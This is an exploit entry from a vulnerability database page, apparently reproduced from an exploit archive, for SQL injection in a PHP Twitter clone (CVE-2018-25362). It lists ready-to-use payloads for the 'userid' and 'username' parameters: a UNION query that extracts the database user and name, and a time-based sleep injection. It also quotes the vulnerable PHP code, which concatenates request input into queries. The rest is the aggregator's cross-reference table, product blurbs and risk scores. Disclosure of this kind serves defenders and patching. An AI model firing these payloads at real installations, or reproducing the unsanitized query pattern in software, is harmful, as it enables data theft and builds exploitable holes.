Twitter-Clone 1 - 'userid' SQL Injection (SQLi)
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2018-25362 | 25 May 202614:15 | – | attackerkb | |
| Twitter-clone SQL injection vulnerability | 25 May 202600:00 | – | cnnvd | |
| CVE-2018-25362 | 25 May 202614:15 | – | cve | |
| CVE-2018-25362 Twitter-Clone 1 SQL Injection via follow.php | 25 May 202614:15 | – | cvelist | |
| EUVD-2018-21882 | 25 May 202614:15 | – | euvd | |
| CVE-2018-25362 | 25 May 202615:16 | – | nvd | |
| PT-2026-43215 | 25 May 202600:00 | – | ptsecurity | |
| CVE-2018-25362: Improper Neutralization of Special Elements used in an SQL Command | 25 May 202600:00 | – | rapid7 | |
| CVE-2018-25362 Twitter-Clone 1 SQL Injection via follow.php | 25 May 202614:15 | – | vulnrichment |
# Exploit Title: Twitter-Clone 1 - 'userid' SQL Injection
# Date: 2018-08-21
# Exploit Author: L0RD
# Vendor Homepage: https://github.com/Fyffe/PHP-Twitter-Clone/
# Version: 1
# CVE: N/A
# Tested on: Win 10
# POC : SQLi
# vulnerable files : follow.php , index.php
# vulnerable parameters : userid , username
# 1) follow.php :
# Parameters : userid , username
# Type : Union query
# Type : Time-based blind
# Payloads :
userid: ' UNION SELECT 1,2,user(),4,database(),6,7%23
username: ' AND sleep(10)%23
# vulnerable code :
if($_GET['userid'] && $_GET['username']){
if($_GET['userid']!=$user_id){
$follow_userid = $_GET['userid'];
$follow_username = $_GET['username'];
include 'connect.php';
$query = mysqli_query($con, "SELECT id
FROM following
WHERE user1_id='$user_id' AND user2_id='$follow_userid'
");
# 2) index.php :
# vulnerable parameter : username
# Type : Union query
# Payload :
' union select 1,2,user(),4,5,6
# vulnerable code :
if($_POST['login-btn']=="login-submit"){
if($_POST['username'] != "" && $_POST['password'] != ""){
$username = strtolower($_POST['username']);
include "connect.php";
$query = mysqli_query($con, "SELECT id, password
FROM users
WHERE username='$username'");Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.2
CVSS 48.8
EPSS0.0054
SSVC